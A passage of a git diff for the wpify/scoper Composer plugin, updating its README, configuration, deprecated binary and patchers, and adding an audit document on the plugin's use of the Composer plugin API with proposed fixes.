+composer test:integration +``` + +CI runs all of it across PHP 8.2, 8.3, 8.4 and 8.5, plus a smoke job that installs the plugin into +a scratch project — the only tier that catches "the plugin throws during `activate()`". + +## Changing what lands in `deps/` + +Anything that changes the generated output is at least a minor release, not a patch, even when the +diff is three characters. Consumers cannot see that their scoped tree changed until something +fatals in production. Say so in `CHANGELOG.md`. diff --git a/README.md b/README.md index 5cc87f6..2beb7d3 100644 --- a/README.md +++ b/README.md @@ -12,10 +12,10 @@ that. It has an up-to-date database of all WordPress and WooCommerce symbols tha ## Requirements -* wpify/scoper:**3.1** - * PHP 7.4 || 8.0 -* wpify/scoper:**3.2** - * PHP >= 8.1 +**PHP 8.2 or newer.** See [CHANGELOG.md](CHANGELOG.md) for per-release notes. + +Older lines, which are no longer maintained: `3.2.x` required PHP 8.1 (in practice 8.2 — its +declared constraint could not be satisfied), and `3.1.x` required PHP 7.4 or 8.0. ## Usage @@ -23,7 +23,8 @@ that. It has an up-to-date database of all WordPress and WooCommerce symbols tha 2. The configuration requires creating `composer-deps.json` file, that has exactly same structure like `composer.json` file, but serves only for scoped dependencies. Dependencies that you don't want to scope comes to `composer.json`. 3. Add `extra.wpify-scoper.prefix` to you `composer.json`, where you can specify the namespace, where your dependencies - will be in. All other config options (`folder`, `globals`, `composerjson`, `composerlock`, `autorun`) are optional. + will be in. All other config options (`folder`, `globals`, `composerjson`, `composerlock`, `temp`, `autorun`) are + optional. 4. The easiest way how to use the scoper on development environment is to install WPify Scoper as a dev dependency. After each `composer install` or `composer update`, all the dependencies specified in `composer-deps.json` will be scoped for you. @@ -36,20 +37,20 @@ that. It has an up-to-date database of all WordPress and WooCommerce symbols tha { "config": { "platform": { - "php": "8.0.30" + "php": "8.2.0" + }, + "allow-plugins": { + "wpify/scoper": true } }, - "scripts": { - "wpify-scoper": "wpify-scoper" - }, "extra": { "wpify-scoper": { "prefix": "MyNamespaceForDeps", "folder": "deps", "globals": [ "wordpress", - "woocommerce", - "action-scheduler", + "woocommerce", + "action-scheduler", "wp-cli" ], "composerjson": "composer-deps.json", @@ -60,15 +61,44 @@ that. It has an up-to-date database of all WordPress and WooCommerce symbols tha } ``` -6. Option `autorun` defaults to `true` so that scoping is run automatically upon composer `update` or `install` command. - That is not what you want in all cases, so you can set it `false` if you need. - To start prefixing manually, you need to add for example the line `"wpify-scoper": "wpify-scoper"` to the "scripts" section of your composer.json. - You then run the script with the command `composer wpify-scoper install` or `composer wpify-scoper update`. +`config.platform.php` should match the PHP version your site actually runs, and it must be one this +package supports (8.2 or newer). Setting it lower than your production PHP is how you end up with a +scoped tree that fatals on the server. + +### Configuration reference + +| Key | Default | What it does | +|---|---|---| +| `prefix` | *required* | The namespace your dependencies are moved into. Must be a valid PHP namespace: identifiers separated by `\\`, no leading or trailing separator. A missing or malformed prefix is now a hard error. | +| `folder` | `deps` | Where the scoped tree is written, relative to the project root (absolute paths are allowed). | +| `globals` | all four | Which shipped symbol lists to keep unscoped: `wordpress`, `woocommerce`, `action-scheduler`, `wp-cli`. An unknown name produces a warning and is ignored. | +| `composerjson` | `composer-deps.json` | The manifest describing the dependencies to scope. Only ever read, never written. | +| `composerlock` | `composerjson` with `.lock` | The lock file for that manifest. Written by the plugin — commit it. | +| `temp` | `tmp-` + random | The scratch workspace. Removed when the run finishes, successfully or not. | +| `autorun` | `true` | Whether `composer install`/`composer update` also scope. Only a literal `false` turns it off. | + +### Running it manually + +```bash +composer wpify-scoper install # install the locked scoped dependency set +composer wpify-scoper update # re-resolve it and rewrite composer-deps.lock +composer wpify-scoper install --no-dev +``` + +`--no-dev` skips the `require-dev` block of your `composer-deps.json`, which is what you want for a +release build. When scoping runs automatically from `composer install`/`composer update`, it +inherits the dev mode of that command, so `composer install --no-dev` also scopes without dev +dependencies. -7. Scoped dependencies will be in `deps` folder of your project. You must include the scoped autoload alongside with the +Set `"autorun": false` if you only ever want to scope on demand. + +> The `wpify-scoper` binary (`vendor/bin/wpify-scoper install`) still works but is deprecated and +> prints a notice. Use the Composer command. + +6. Scoped dependencies will be in `deps` folder of your project. You must include the scoped autoload alongside with the composer autoloader. -8. After that, you can use your dependencies with the namespace. +7. After that, you can use your dependencies with the namespace. **Example PHP file:** @@ -80,6 +110,17 @@ require_once __DIR__ . '/vendor/autoload.php'; new \MyNamespaceForDeps\Example\Dependency(); ``` +### What to commit + +- **`composer-deps.json`** — yes, it is your source of truth. +- **`composer-deps.lock`** — yes. It is what makes `composer wpify-scoper install` reproducible. +- **`deps/`** — your call. It is a build artifact, so most projects build it in CI (see + *Deployment* below) and add it to `.gitignore`. Commit it if you deploy by pushing a git + checkout to the server and cannot run Composer there. +- **`tmp-*`** — never. Add `tmp-*` to `.gitignore`; a failed run used to leave one behind, and + while it is now cleaned up in every path, an interrupted process still cannot clean up after + itself. + ## Deployment ### Deployment with Gitlab CI @@ -111,31 +152,30 @@ name: Build vendor jobs: install: - runs-on: ubuntu-20.04 + runs-on: ubuntu-latest steps: - name: Checkout - uses: actions/checkout@v2 + uses: actions/checkout@v4 - - name: Cache Composer dependencies - uses: actions/cache@v2 + - name: Set up PHP + uses: shivammathur/setup-php@v2 with: - path: /tmp/composer-cache - key: ${{ runner.os }}-${{ hashFiles('**/composer.lock') }} + php-version: '8.2' + tools: composer:v2 - - name: Install composer - uses: php-actions/composer@v6 + - name: Cache Composer dependencies + uses: actions/cache@v4 with: - php_extensions: json - version: 2 - dev: no + path: ~/.cache/composer + key: ${{ runner.os }}-${{ hashFiles('**/composer.lock', '**/composer-deps.lock') }} + - run: composer global config --no-plugins allow-plugins.wpify/scoper true - run: composer global require wpify/scoper - - run: sudo chown -R $USER:$USER $GITHUB_WORKSPACE/vendor - run: composer install --no-dev --optimize-autoloader - name: Archive plugin artifacts - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: vendor path: | @@ -158,13 +198,59 @@ valid [PHP Scoper configuration array](https://github.com/humbug/php-scoper/blob function customize_php_scoper_config( array $config ): array { $config['patchers'][] = function( string $filePath, string $prefix, string $content ): string { - if ( strpos( $filePath, 'guzzlehttp/guzzle/src/Handler/CurlFactory.php' ) !== false ) { + if ( str_contains( $filePath, 'guzzlehttp/guzzle/src/Handler/CurlFactory.php' ) ) { $content = str_replace( 'stream_for($sink)', 'Utils::streamFor()', $content ); } - + return $content; }; - + return $config; } ``` + +### Where `scoper.custom.php` is looked for + +Exactly two places, in order: + +1. **Your project root** — the directory holding the `composer.json` Composer resolved for this + run. This is the one you want. It is correct under `--working-dir`, with a custom `vendor-dir`, + with `COMPOSER=` pointing elsewhere, and for a global install of this plugin. +2. The plugin's own directory, so that a checkout of this repository keeps working. + +Run with `-v` and the plugin tells you which file it picked up, or that it found none: + +``` +wpify-scoper: using the customizations from /srv/my-plugin/scoper.custom.php +``` + +Earlier releases picked between the two by looking for the literal string `vendor/wpify/scoper` in +the plugin's own path, which silently ignored your file whenever `vendor-dir` was renamed or the +plugin was symlinked in through a path repository. + +## Troubleshooting + +| Symptom | Cause | Fix | +|---|---|---| +| `composer install` succeeds but there is no `deps/` folder, and no output | The plugin is not allowed to run | `composer config allow-plugins.wpify/scoper true` (or `composer global config --no-plugins allow-plugins.wpify/scoper true` for a global install). Composer silently skips plugins that are not allowed. | +| `extra.wpify-scoper.prefix is missing in …` | No prefix, or a typo in the key | Add a valid namespace. This used to be a silent no-op, which is why you may be seeing it for the first time on a project that "worked". | +| `… is not a valid PHP namespace` | Hyphens, spaces, a leading digit, or a leading/trailing `\` in the prefix | Use identifiers separated by `\\`, e.g. `MyPlugin\\Deps`. | +| `unknown extra.wpify-scoper.globals entry "…"` | A typo in `globals` | Valid values: `wordpress`, `woocommerce`, `action-scheduler`, `wp-cli`. A typo used to be ignored silently and produced a build that broke at runtime. | +| `"plugin-update-checker" is deprecated and ignored` | `globals` still lists it | Remove the line. PUC is now scoped like any other dependency; the list only ever held dead v4 class names. | +| `Class "…\WP_Query" not found` at runtime | A WordPress symbol got scoped: `globals` is missing `wordpress`, or your WordPress is newer than the symbol list | Add it to `globals`; update `wpify/scoper`. | +| A WooCommerce or PHPMailer class is not found after scoping | Fixed in 4.0 — namespace exclusions only matched exactly, so children of `Automattic\WooCommerce` and `PHPMailer\PHPMailer` came out prefixed | Upgrade and re-scope. | +| Your own vendor library collides with another plugin again after scoping | Fixed in 4.0 — prefix stripping was unanchored, so a vendor namespace starting with an excluded WordPress class name (`WPSEO\…`, `POBox\…`) was put back into the global namespace | Upgrade and re-scope. | +| `scoper.custom.php` seems to be ignored | A non-standard `vendor-dir`, or a path-repository install, in a release before 4.0 | Upgrade; then run with `-v` to see which file is loaded. | +| `tmp-XXXXXXXXXX/` left in the project root | The process was killed mid-run | Safe to delete. Add `tmp-*` to `.gitignore`. | +| `the Composer binary could not be located` | The pipeline was driven from the deprecated `bin/wpify-scoper` without `composer` on `PATH` | Use `composer wpify-scoper install`, or set `COMPOSER_BINARY`. | +| `php-scoper was not found` | `wpify/php-scoper` is missing from the install | Reinstall the plugin. The message lists every path that was tried. | +| `already running (WPIFY_SCOPER_RUNNING is set), skipping this nested invocation` | Your `composer-deps.json` also carries an `extra.wpify-scoper` block | Remove it. The scoped manifest must not configure the scoper. | +| A vendored library breaks after scoping | It builds class names dynamically, so php-scoper cannot see them | Write a patcher in `scoper.custom.php` — see *Advanced configuration*. | + +Run any command with `-v` for the configuration the plugin resolved and every process it spawns, +and `-vvv` to see the nested Composer's own debug output. + +## Contributing + +See [CONTRIBUTING.md](CONTRIBUTING.md) — in particular for what `sources/` is, why `require-dev` +contains WordPress, and how to regenerate the symbol lists. diff --git a/bin/wpify-scoper b/bin/wpify-scoper index ac568ea..376e94e 100755 --- a/bin/wpify-scoper +++ b/bin/wpify-scoper @@ -2,40 +2,69 @@ Plugin::SCOPER_INSTALL_CMD, + 'update' => Plugin::SCOPER_UPDATE_CMD, + default => null, +}; + +if ( null === $command ) { + fwrite( STDERR, 'Usage: wpify-scoper [command]' . PHP_EOL ); + fwrite( STDERR, ' commands:' . PHP_EOL ); + fwrite( STDERR, ' update' . PHP_EOL ); + fwrite( STDERR, ' install' . PHP_EOL . PHP_EOL ); + exit( 1 ); } -$factory = new Factory(); -$ioInterace = new NullIO(); -$composer = $factory->createComposer( $ioInterace ); -$fakeEvent = new Event( - $command, - $composer, - $ioInterace +fwrite( + STDERR, + 'wpify-scoper: this binary is deprecated, use "composer wpify-scoper ' . $argv[1] . '" instead.' . PHP_EOL ); -$scoper = new Plugin(); -$scoper->activate( $composer, $ioInterace ); -$scoper->execute( $fakeEvent ); +$input = new ArgvInput(); +$input->setInteractive( Platform::isTty() ); + +$io = new ConsoleIO( $input, Factory::createOutput(), new HelperSet() ); + +try { + $composer = ( new Factory() )->createComposer( $io ); + $plugin = new Plugin(); + + $plugin->activate( $composer, $io ); + $plugin->execute( new Event( $command, $composer, $io ) ); +} catch ( Throwable $exception ) { + $io->writeError( '' . $exception->getMessage() . '' ); + + exit( 1 ); +} diff --git a/composer.json b/composer.json index 8b496ea..5e26e6d 100644 --- a/composer.json +++ b/composer.json @@ -2,11 +2,34 @@ "name": "wpify/scoper", "description": "Composer plugin that scopes WordPress and WooCommerce dependencies for usage in WordPress plugins and themes.", "type": "composer-plugin", + "keywords": [ + "wordpress", + "woocommerce", + "composer-plugin", + "php-scoper", + "scoper", + "prefixing", + "namespace", + "isolation", + "dependency-conflicts" + ], + "homepage": "https://github.com/wpify/scoper", + "support": { + "issues": "https://github.com/wpify/scoper/issues", + "source": "https://github.com/wpify/scoper", + "docs": "https://github.com/wpify/scoper#readme" + }, "autoload": { "psr-4": { "Wpify\\Scoper\\": "src/" } }, + "autoload-dev": { + "psr-4": { + "Wpify\\Scoper\\Tools\\": "scripts/", + "Wpify\\Scoper\\Tests\\": "tests/" + } + }, "license": "GPL-2.0-or-later", "authors": [ { @@ -18,7 +41,20 @@ "bin/wpify-scoper" ], "scripts": { - "extract": "php ./scripts/extract-symbols.php" + "extract": "php ./scripts/extract-symbols.php", + "test": "phpunit --testsuite=unit", + "test:integration": "phpunit --testsuite=integration", + "test:all": "phpunit --testsuite=unit,integration", + "analyse": "phpstan analyse", + "cs": "php-cs-fixer check --diff", + "cs:fix": "php-cs-fixer fix" + }, + "scripts-descriptions": { + "extract": "Regenerates symbols/*.php from the WordPress, WooCommerce, Action Scheduler and WP-CLI sources.", + "test": "Runs the fast unit and golden-file suite.", + "test:integration": "Runs the end-to-end scoping suite (spawns Composer and php-scoper).", + "analyse": "Runs PHPStan over src/, scripts/ and config/.", + "cs": "Checks the code style without changing anything." }, "minimum-stability": "stable", "repositories": [ @@ -28,18 +64,22 @@ } ], "require": { - "php": "^8.1", + "php": "^8.2", "composer-plugin-api": "^2.3", + "composer-runtime-api": "^2.2", "composer/composer": "^2.6", "wpify/php-scoper": "^0.18" }, "require-dev": { + "friendsofphp/php-cs-fixer": "^3.75", "jetbrains/phpstorm-stubs": "*", "johnpbloch/wordpress": "*", "nikic/php-parser": "^v5.3.1", + "phpstan/phpstan": "^2.1", + "phpstan/phpstan-strict-rules": "^2.0", + "phpunit/phpunit": "^11.5", "woocommerce/action-scheduler": "*", "wpackagist-plugin/woocommerce": "*", - "yahnis-elsts/plugin-update-checker": "*", "wp-cli/wp-cli": "*" }, "extra": { @@ -52,9 +92,6 @@ "sources/theme-{$name}/": [ "type:wordpress-theme" ] - }, - "textdomain": { - "wpify-custom-fields": "some-new-textdomain" } }, "config": { diff --git a/config/scoper.inc.php b/config/scoper.inc.php index b877e5b..dd13247 100644 --- a/config/scoper.inc.php +++ b/config/scoper.inc.php @@ -1,8 +1,17 @@ array( Finder::create() - ->files() - ->ignoreVCS( true ) - ->in( $source . DIRECTORY_SEPARATOR . 'vendor' ), + ->files() + ->ignoreVCS( true ) + ->in( $source . DIRECTORY_SEPARATOR . 'vendor' ), Finder::create() - ->append( array( - $source . '/composer.json', - $source . '/composer.lock' - ) ), + ->append( array( + $source . '/composer.json', + $source . '/composer.lock', + ) ), ), 'patchers' => array( - function ( string $filePath, string $prefix, string $content ) use ( $config ): string { - if ( strpos( $filePath, 'guzzlehttp/guzzle/src/Handler/CurlFactory.php' ) !== false ) { + function ( string $filePath, string $prefix, string $content ) use ( $unprefixer ): string { + if ( str_contains( $filePath, 'guzzlehttp/guzzle/src/Handler/CurlFactory.php' ) ) { $content = str_replace( 'stream_for($sink)', 'Utils::streamFor()', $content ); } - if ( strpos( $filePath, 'php-di/php-di/src/Compiler/Template.php' ) !== false ) { + if ( str_contains( $filePath, 'php-di/php-di/src/Compiler/Template.php' ) ) { $content = str_replace( "namespace $prefix;", '', $content ); } - if ( strpos( $filePath, 'yahnis-elsts/plugin-update-checker/Puc/v4p11/UpdateChecker.php' ) !== false ) { - $content = str_replace( "namespace $prefix;", "namespace $prefix;\n\nuse WP_Error;", $content ); - } - - if ( strpos( $filePath, 'twig/src/Node/ModuleNode.php' ) !== false ) { + if ( str_contains( $filePath, 'twig/src/Node/ModuleNode.php' ) ) { $content = str_replace( 'write("use Twig', 'write("use ' . $prefix . '\\\\Twig', $content ); $content = str_replace( 'Template;\\n\\n', 'Template;\\n\\n use function ' . $prefix . '\\\\twig_escape_filter; \\n\\n', $content ); } - if ( strpos( $filePath, '/vendor/twig/twig/' ) !== false ) { + if ( str_contains( $filePath, '/vendor/twig/twig/' ) ) { $content = str_replace( "'twig_escape_filter_is_safe'", "'" . $prefix . "\\\\twig_escape_filter_is_safe'", $content ); $content = str_replace( "'twig_get_attribute(", "'" . $prefix . "\\\\twig_get_attribute(", $content ); $content = str_replace( " = twig_ensure_traversable(", " = " . $prefix . "\\\\twig_ensure_traversable(", $content ); - $content = preg_replace( '/new TwigFilter\(\s*\'([^\']+)\'\s*,\s*\'(_?twig_[^\']+)\'/m', 'new TwigFilter(\'$1\', \'' . $prefix . '\\\\$2\'', $content ); - $content = preg_replace( '/\\$compiler->raw\(\s*\'(twig_[^(]+)\(/m', '\$compiler->raw(\'' . $prefix . '\\\\$1(', $content ); + // `?? $content` because preg_replace() returns null when PCRE gives up - the + // backtrack limit on a large generated Twig template is a real way to get there, + // and passing that null on turns into a TypeError from inside a patcher, which + // aborts the whole scoping run with a message nobody can act on. + $content = preg_replace( '/new TwigFilter\(\s*\'([^\']+)\'\s*,\s*\'(_?twig_[^\']+)\'/m', 'new TwigFilter(\'$1\', \'' . $prefix . '\\\\$2\'', $content ) ?? $content; + $content = preg_replace( '/\\$compiler->raw\(\s*\'(twig_[^(]+)\(/m', '\$compiler->raw(\'' . $prefix . '\\\\$1(', $content ) ?? $content; $content = str_replace( "'\\\\Twig\\\\", "'\\\\" . $prefix . "\\\\Twig\\\\", $content ); $content = str_replace( "'\\Twig\\", "'" . $prefix . "\\Twig\\", $content ); } - if ( strpos( $filePath, '/vendor/giggsey/libphonenumber-for-php/' ) !== false ) { + if ( str_contains( $filePath, '/vendor/giggsey/libphonenumber-for-php/' ) ) { $content = str_replace( $prefix . "\\\\array_merge", "array_merge", $content ); } - if ( strpos( $filePath, '/league/oauth2-client' ) !== false ) { + if ( str_contains( $filePath, '/league/oauth2-client' ) ) { $content = str_replace( "League\\\\OAuth2\\\\Client\\\\Grant", $prefix . "\\\\League\\\\OAuth2\\\\Client\\\\Grant", $content ); } - if ( strpos( $filePath, 'yahnis-elsts/plugin-update-checker' ) !== false ) { - $content = str_replace( '$checkerClass = $type', '$checkerClass = "'. $prefix . '\\\\".$type', $content ); - } - - usort( $config['exclude-classes'], function ( $a, $b ) { - return strlen( $b ) - strlen( $a ); - } ); - - $count = 0; - $searches = array(); - $replacements = array(); - - foreach ( $config['exclude-classes'] as $symbol ) { - $searches[] = "\\$prefix\\$symbol"; - $replacements[] = "\\$symbol"; - - $searches[] = "use $prefix\\$symbol"; - $replacements[] = "use $symbol"; + // PucFactory::buildUpdateChecker() looks the checker up in a registry whose keys are + // string literals in load-v5pX.php - which php-scoper's StringScalarPrefixer *does* + // prefix. The lookup key is built from a variable, which it does not. Both branches + // have to be prefixed by hand or getCompatibleClassVersion() returns null and PUC + // fires trigger_error( ..., E_USER_ERROR ). + if ( str_contains( $filePath, 'yahnis-elsts/plugin-update-checker' ) ) { + // PucFactory::buildUpdateChecker(), the plain JSON branch. + $content = str_replace( '$checkerClass = $type', '$checkerClass = "' . $prefix . '\\\\".$type', $content ); + // The same method, the VCS branch a couple of lines down - GitHub, GitLab + // and BitBucket hosted update checking never reached the registry without it. + $content = str_replace( + "\$checkerClass = 'Vcs\\\\' . \$type", + "\$checkerClass = \"" . $prefix . "\\\\Vcs\\\\\" . \$type", + $content + ); } - foreach ( $config['exclude-namespaces'] as $symbol ) { - $searches[] = "\\$prefix\\$symbol"; - $replacements[] = "\\$symbol"; - - $searches[] = "use $prefix\\$symbol"; - $replacements[] = "use $symbol"; - } - - $content = str_replace( $searches, $replacements, $content, $count ); - - return $content; + // Undo the prefixing php-scoper applied to symbols it was told to exclude. + return $unprefixer->unprefix( $content ); }, ), 'expose-global-constants' => false, diff --git a/docs/improvements/01-composer-plugin-api.md b/docs/improvements/01-composer-plugin-api.md new file mode 100644 index 0000000..b602448 --- /dev/null +++ b/docs/improvements/01-composer-plugin-api.md @@ -0,0 +1,1174 @@ +# wpify/scoper — Composer Plugin API audit + +**Scope:** `src/Plugin.php`, `bin/wpify-scoper`, `composer.json`, `README.md` +**Baseline:** Composer 2.10.2 (`vendor/composer/composer`), `PluginInterface::PLUGIN_API_VERSION = 2.9.0`, symfony/console v8.1.1 +**Date:** 2026-07-27 + +Every claim below was checked against the Composer source vendored in this repo (paths given), and the +headline finding (F1) was reproduced empirically. Where the audit brief's premise turned out to be wrong, +that is stated explicitly (F6, F11). + +## Summary + +| # | Finding | Severity | Effort | +|---|---|---|---| +| F1 | `runInstall()` terminates the whole PHP process (`exit()` via Symfony `autoExit`) | **Critical** | M | +| F2 | PHP requirement `^8.1` is unsatisfiable — php-scoper needs `^8.2` | **Critical** | S | +| F3 | `getCapabilities()` is dead code, and is a landmine if `Capable` is ever added | **High** | S | +| F4 | Pseudo-events + hand-rolled bootstrap instead of a real `BaseCommand` | **High** | M | +| F5 | `bin/wpify-scoper` hardcodes `__DIR__ . '/../../..'` as the vendor root | **High** | S | +| F6 | `$this->io` stored but never used; all output goes to a fresh `ConsoleOutput` | **High** | S | +| F7 | php-scoper phar located by hardcoded relative path, invoked without a PHP binary | **Medium** | S | +| F8 | `getcwd()` used as the project root instead of Composer's `Config` | **Medium** | M | +| F9 | Generated `composer-deps.json` embeds absolute host paths into a tracked file | **Medium** | M | +| F10 | Re-entrancy is only avoided by accident; global plugins do reload in the nested run | **Medium** | S | +| F11 | `composer.json` metadata for a `composer-plugin` | **Medium** | S | +| F12 | `exit` inside `createScoperConfig()`; `require_once` used to load a value-returning config | **Low** | S | +| F13 | Temp directory naming/placement/cleanup | **Low** | S | +| F14 | Silent no-op when `extra.wpify-scoper.prefix` is missing | **Low** | S | + +--- + +## F1 — `runInstall()` terminates the whole PHP process — **Critical / M** + +### What the code does now + +`src/Plugin.php:290-305`: + +```php +private function runInstall( string $path, string $command = 'install', bool $useDevDependencies = true ) { + $output = new ConsoleOutput(); + $application = new Application(); + + return $application->run( new ArrayInput( array( /* ... */ ) ), $output ); +} +``` + +A `Composer\Console\Application` is constructed and run **in-process**, from inside a +`POST_INSTALL_CMD` / `POST_UPDATE_CMD` listener. + +### Why it is wrong + +`Composer\Console\Application` extends `Symfony\Component\Console\Application`, which defaults to +`autoExit = true` (`vendor/symfony/console/Application.php:84`). At the end of `run()` +(`vendor/symfony/console/Application.php:266-271`): + +```php +if ($this->autoExit) { + if ($exitCode > 255) { $exitCode = 255; } + exit($exitCode); +} +return $exitCode; +``` + +**`run()` never returns.** Reproduced: + +``` +$ php -r 'require "vendor/autoload.php"; + $app = new Composer\Console\Application(); + $code = $app->run(new ArrayInput(["command"=>"about"]), new ConsoleOutput()); + echo "RETURNED-TO-CALLER code=$code\n";' +Composer - Dependency Manager for PHP - version 2.10.2 +Composer is a dependency manager tracking local dependencies of your projects and libraries. +See https://getcomposer.org/ for more information. +``` + +`RETURNED-TO-CALLER` is never printed. The `return` on `src/Plugin.php:294` is unreachable. + +Concrete consequences — the outer `composer install`/`update` is killed mid-flight at +`vendor/composer/composer/src/Composer/Installer.php:438-441`: + +1. **The security audit never runs.** `Installer.php:448-470` performs the vulnerability audit + *after* dispatching `POST_INSTALL_CMD`. With this plugin active and a prefix configured, + `composer install`/`composer update` silently skips auditing for every user. +2. **Every listener registered after this plugin is skipped** — other plugins' `POST_INSTALL_CMD` + handlers and the user's own `post-install-cmd` scripts. Listeners run in registration order + (all priorities are 0), so ordering is effectively arbitrary and users will see scripts that + "sometimes don't run". +3. **The outer exit code is replaced by the inner one.** A failing outer install that reached the + post-install stage would exit 0 if the nested install succeeded. +4. `gc_enable()` (`Installer.php:444-446`) and the normal `InstallCommand` return path are skipped. + +Two further problems in the same method, which matter the moment F1 is fixed: + +- **The exit code is discarded even in principle.** `execute()` (`src/Plugin.php:197`) ignores + `runInstall()`'s return value. A failed nested install would be reported as success. +- **CWD leaks on failure.** `Application::doRun()` chdirs into `--working-dir` + (`Console/Application.php:167-174`) and only chdirs back on the *success* path + (`Console/Application.php:461-464`); the `finally` block only calls `restore_error_handler()`. + An exception in the nested run leaves the outer process sitting in `tmp-xxxxxxxxxx/source`. +- **Shared process state.** `Composer::setRunningCommand()`, `ErrorHandler::register()`, + `Platform::putEnv('COMPOSER_CACHE_DIR')` (on `--no-cache`), the registered shutdown function, + and the already-loaded class table are all shared between outer and inner Composer. If the + scoped project's own plugins ship classes whose names collide with already-loaded ones, the + nested run fatals with "Cannot redeclare class". + +### Composer's own precedent + +Composer itself runs a nested `Application` in exactly one place — +`vendor/composer/composer/src/Composer/EventDispatcher/EventDispatcher.php:312-318` — and it +neutralises all of the above first: + +```php +$app = new Application(); +$app->setCatchExceptions(false); +if (method_exists($app, 'setCatchErrors')) { + $app->setCatchErrors(false); +} +$app->setAutoExit(false); +``` + +…and it reuses the current IO's output stream rather than creating a new one +(`EventDispatcher.php:330-340`). + +For re-invoking `composer` itself, Composer uses a **subprocess** +(`EventDispatcher.php:253`, `EventDispatcher.php:431`): + +```php +$exec = $this->getPhpExecCommand() . ' ' . ProcessExecutor::escape(Platform::getEnv('COMPOSER_BINARY')) . ' ' . $args; +``` + +`COMPOSER_BINARY` is set by `vendor/composer/composer/bin/composer:107`. + +### Fix + +**Recommended — separate process** (matches Composer's own idiom, gives full isolation, correct exit +code, and no state contamination): + +```php +private function runInstall( string $path, string $command = 'install', bool $useDev = true ): int { + $binary = Platform::getEnv( 'COMPOSER_BINARY' ); + $php = ( new PhpExecutableFinder() )->find( false ); + + $cmd = array_filter( array( + $php, $binary, $command, + '--working-dir=' . $path, + $useDev ? null : '--no-dev', + '--optimize-autoloader', + '--no-plugins', // see F10 + ) ); + + $exitCode = $this->composer->getLoop()->getProcessExecutor()->executeTty( $cmd, $path ); + + if ( 0 !== $exitCode ) { + throw new \RuntimeException( sprintf( 'wpify/scoper: nested composer %s failed with code %d', $command, $exitCode ) ); + } + + return $exitCode; +} +``` + +`ProcessExecutor::execute()`/`executeTty()` accept an array command +(`Util/ProcessExecutor.php:93,109`) and handle escaping. Fall back to +`PhpExecutableFinder` + a resolved `composer` path if `COMPOSER_BINARY` is unset (i.e. when the +plugin is driven from `bin/wpify-scoper` rather than from Composer itself). + +**Minimum viable fix** if the in-process design must be kept: + +```php +$application = new Application(); +$application->setAutoExit( false ); +$application->setCatchExceptions( false ); +if ( method_exists( $application, 'setCatchErrors' ) ) { + $application->setCatchErrors( false ); +} +$exitCode = $application->run( $input, $output ); +if ( 0 !== $exitCode ) { + throw new \RuntimeException( ... ); +} +``` + +### Benefit + +`composer install` completes normally: the audit runs, other plugins' and users' post-install +scripts run, and a failing dependency install is reported as a failure instead of being swallowed. + +### Downside / risk + +Subprocess spawning costs ~1 s of PHP bootstrap and loses the shared HTTP/cache warm state. Users +who currently rely on the outer install "ending" right after scoping (and therefore never noticing +that their own post-install scripts are skipped) will see those scripts start running — behaviour +change, though the previous behaviour was a bug. Throwing on non-zero will surface nested-install +failures that were previously invisible; expect bug reports that are actually pre-existing breakage. + +--- + +## F2 — PHP requirement `^8.1` is unsatisfiable — **Critical / S** + +### What the code does now + +`composer.json:31`: `"php": "^8.1"`, alongside `composer.json:34`: `"wpify/php-scoper": "^0.18"`. + +### Why it is wrong + +`vendor/wpify/php-scoper/composer.json` requires `"php": "^8.2"`. The bundled phar is +php-scoper 0.18.19 (`php vendor/wpify/php-scoper/bin/php-scoper.phar --version` → +`PhpScoper version 0.18.19 2026-03-02`), and upstream `humbug/php-scoper` at tag `0.18.19` also +requires `"php": "^8.2"`. The phar carries a hard runtime gate — its Box requirement checker +(`phar://…/.box/.requirements.php`) contains: + +```php +array ( 'type' => 'php', 'condition' => '^8.2', + 'message' => 'This application requires a PHP version matching "^8.2".' ) +``` + +So on PHP 8.1 the package is not installable at all (resolver rejects it), and even if it were, the +phar would refuse to run. The declared `^8.1` produces a confusing transitive-conflict error instead +of a clear "this package requires PHP 8.2". + +`README.md:15-18` repeats the same wrong claim (`wpify/scoper:3.2 → PHP >= 8.1`). + +### Supported-version analysis + +Per as of 2026-07-27: + +| Branch | Active support until | Security support until | Status today | +|---|---|---|---| +| 8.1 | — | 31 Dec 2025 | **EOL** | +| 8.2 | 31 Dec 2024 | 31 Dec 2026 | Security only | +| 8.3 | 31 Dec 2025 | 31 Dec 2027 | Security only | +| 8.4 | 31 Dec 2026 | 31 Dec 2028 | Active | +| 8.5 | 31 Dec 2027 | 31 Dec 2029 | Active | + +Intersection of "still supported" and "php-scoper 0.18 supports it" = **8.2, 8.3, 8.4, 8.5**. + +### Fix + +```json +"require": { + "php": "^8.2", + ... +} +``` + +`^8.2` resolves to `>=8.2 <9.0`, which covers 8.5. Update `README.md:15-18` to +`wpify/scoper:3.3 → PHP >= 8.2`. Plan a bump to `^8.3` after 2026-12-31 when 8.2 goes EOL. + +Note: `scripts/extract-symbols.php:45` pins the *parser* target to `PhpVersion::fromString("8.1.0")`. +That is the version the WordPress sources are parsed as, not the runtime requirement, so it is a +separate (defensible) choice — but it is worth a comment saying so, since it reads like a +contradiction next to an 8.2 floor. + +### Benefit + +Users on PHP 8.1 get an immediate, accurate error. Users reading the README get correct information. + +### Downside / risk + +None material — PHP 8.1 users cannot install today regardless. Publishing this as a patch release +would technically narrow the accepted range for already-resolved lock files; ship it with a minor +version bump. + +--- + +## F3 — `getCapabilities()` is dead code, and a landmine — **High / S** + +### What the code does now + +`src/Plugin.php:16`: + +```php +class Plugin implements PluginInterface, EventSubscriberInterface { +``` + +`src/Plugin.php:104-108`: + +```php +public function getCapabilities() { + return array( + CommandProvider::class => self::class, + ); +} +``` + +### Why it is wrong + +**It is never called.** `PluginManager::getCapabilityImplementationClassName()` +(`vendor/composer/composer/src/Composer/Plugin/PluginManager.php:611-616`) short-circuits: + +```php +protected function getCapabilityImplementationClassName(PluginInterface $plugin, string $capability): ?string +{ + if (!($plugin instanceof Capable)) { + return null; + } + ... +} +``` + +`Wpify\Scoper\Plugin` does not implement `Composer\Plugin\Capable`, so `getCapabilities()` is dead +code. The only consumer of the `CommandProvider` capability is +`Console/Application.php:795`, which is reached only through `getPluginCommands()`. + +**Worse: adding `Capable` naively would break Composer for every user.** The declared implementation +class is `self::class` = `Wpify\Scoper\Plugin`, which does **not** implement +`Composer\Plugin\Capability\CommandProvider` and has no `getCommands()` method. +`PluginManager::getPluginCapability()` (`PluginManager.php:644-660`) would then do: + +```php +$ctorArgs['plugin'] = $plugin; +$capabilityObj = new $capabilityClass($ctorArgs); // new Plugin([...]) — PHP allows this, no ctor + +if 